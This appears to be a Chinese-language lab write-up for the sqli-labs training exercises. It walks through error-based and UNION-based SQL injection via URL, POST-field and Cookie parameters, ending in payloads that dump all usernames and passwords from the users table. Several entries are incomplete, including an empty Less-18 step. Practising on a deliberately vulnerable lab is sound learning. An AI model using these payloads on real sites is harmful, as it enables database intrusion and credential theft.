概述
题目序号
- Page-1
- Less-1
- Less-2
- Less-3
- Less-4
- Less-5
- Less-11
- Less-18
- Less-20
Page-1
Less-1
1.进入第一题,显示Please input the ID as parameter with numeric value
,告诉了我们参数为id
2.构造?id=1
,页面显示正常
3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id
的值被单引号
包裹
4.构造?id=1' and '1'='1
页面重新显示正常,由此判断出这题是单引号字符型注入
5.构造?id=1' order by 1 --+
通过order by子句来判断该数据表的字段数
页面显示正常
构造?id=1' order by 2 --+
页面显示正常
构造?id=1' order by 3 --+
页面显示正常
构造?id=1' order by 4 --+
页面报错,由此可知该表字段数为3
6.构造?id=-1' union select 1,2,3 --+
判断出回显点为该表的第二、三字段
7.构造?id=-1' union select 1,2,database() --+
知道了数据库名为security
8.构造?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
9.构造?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
10.构造?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
爆出所有的用户名和密码
Less-2
1.进入第二题,显示Please input the ID as parameter with numeric value
,告诉了我们参数为id
2.构造?id=1
,页面显示正常
3.接下来加个单引号,显示语句出错,根据报错信息可以得知是单引号
影响了SQL语句的闭合,由此判断出这题是数字型注入
4.构造?id=1 order by 1 --+
通过order by子句来判断该数据表的字段数
页面显示正常
构造?id=1 order by 2 --+
页面显示正常
构造?id=1 order by 3 --+
页面显示正常
构造?id=1 order by 4 --+
页面报错,由此可知该表字段数为3
5.构造?id=-1 union select 1,2,3 --+
判断出回显点为该表的第二、三字段
6.构造?id=-1 union select 1,2,database() --+
知道了数据库名为security
7.构造?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
8.构造?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
9.构造?id=-1 union select 1,group_concat(username),group_concat(password) from users --+
爆出所有的用户名和密码
Less-3
1.进入第三题,显示Please input the ID as parameter with numeric value
,告诉了我们参数为id
2.构造?id=1
,页面显示正常
3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id
的值被单引号和括号
包裹
4.构造?id=1') order by 1 --+
通过order by子句来判断该数据表的字段数
页面显示正常
构造?id=1') order by 2 --+
页面显示正常
构造?id=1') order by 3 --+
页面显示正常
构造?id=1') order by 4 --+
页面报错,由此可知该表字段数为3
5.构造?id=-1') union select 1,2,3 --+
判断出回显点为该表的第二、三字段
6.构造?id=-1') union select 1,2,database() --+
知道了数据库名为security
7.构造?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
8.构造?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
9.构造?id=-1') union select 1,group_concat(username),group_concat(password) from users --+
爆出所有的用户名和密码
Less-4
1.进入第四题,显示Please input the ID as parameter with numeric value
,告诉了我们参数为id
2.构造?id=1
,页面显示正常
3.接下来加个双引号,显示语句出错,根据报错信息可以得知参数id
的值被双引号和括号
包裹
4.构造?id=1") order by 1 --+
通过order by子句来判断该数据表的字段数
页面显示正常
构造?id=1") order by 2 --+
页面显示正常
构造?id=1") order by 3 --+
页面显示正常
构造?id=1") order by 4 --+
页面报错,由此可知该表字段数为3
5.构造?id=-1") union select 1,2,3 --+
判断出回显点为该表的第二、三字段
6.构造?id=-1") union select 1,2,database() --+
知道了数据库名为security
7.构造?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
在数据库information_schema中的tables表里查询出security数据库的表有:emails,referers,uagents,users
8.构造?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
在数据库information_schema中的columns里查找出数据库security中的users表的全部字段
9.构造?id=-1") union select 1,group_concat(username),group_concat(password) from users --+
爆出所有的用户名和密码
Less-5
1.进入第五题,显示Please input the ID as parameter with numeric value
,告诉了我们参数为id
2.构造?id=1
,页面显示You are in...........
,不再像前4题显示name
和passw
3.接下来加个单引号,显示语句出错,根据报错信息可以得知参数id
的值被单引号
包裹
4.构造?id=1‘ order by 1 --+
通过order by子句来判断该数据表的字段数
页面显示正常
构造?id=1' order by 2 --+
页面显示正常
构造?id=1' order by 3 --+
页面显示正常
构造?id=1' order by 4 --+
页面报错,由此可知该表字段数为3
5.构造?id=-1' union select 1,2,3 --+
判断回显点,结果发现行不通
6.要盲注,暂且不会
Less-11
1、进入第11题
2、先随便填点并抓个包,通过抓的包可以知道是POST提交
3、给passwd的值加个单引号后通过报错可以知道是通过单引号闭合的
4、通过order by
测试出字段数为2
5、在passwd的值后面加上' and 1=2 union select 1,2--+
测出回显点
6、在passwd的值后面加上' and 1=2 union select group_concat(username),group_concat(password) from users--+
爆出所有账号密码
Less-18
1、打开18题
2、账号密码输入admin并抓个包,通过登录后的界面可以知道他获取了我们的User Agent,那么User Agent就有可能存在注入
3、
Less-20
1、进入第20题
2、先填入admin并抓个包,通过抓的包可以知道这里Cookie的值是进行过数据库操作的
3、在Cookie的值后面加个单引号,通过报错可以知道是通过单引号进行闭合的
4、通过order by
测出字段数为3
5、在Cookie的值后面加上' and 1=2 union select 1,2,3--+
判断出回显点
6、在Cookie的值后面加上' and 1=2 union select 1,group_concat(username),group_concat(password) from users--+
爆出账号密码
最后
以上就是雪白火为你收集整理的sqli-labs解题记录Page-1的全部内容,希望文章能够帮你解决sqli-labs解题记录Page-1所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复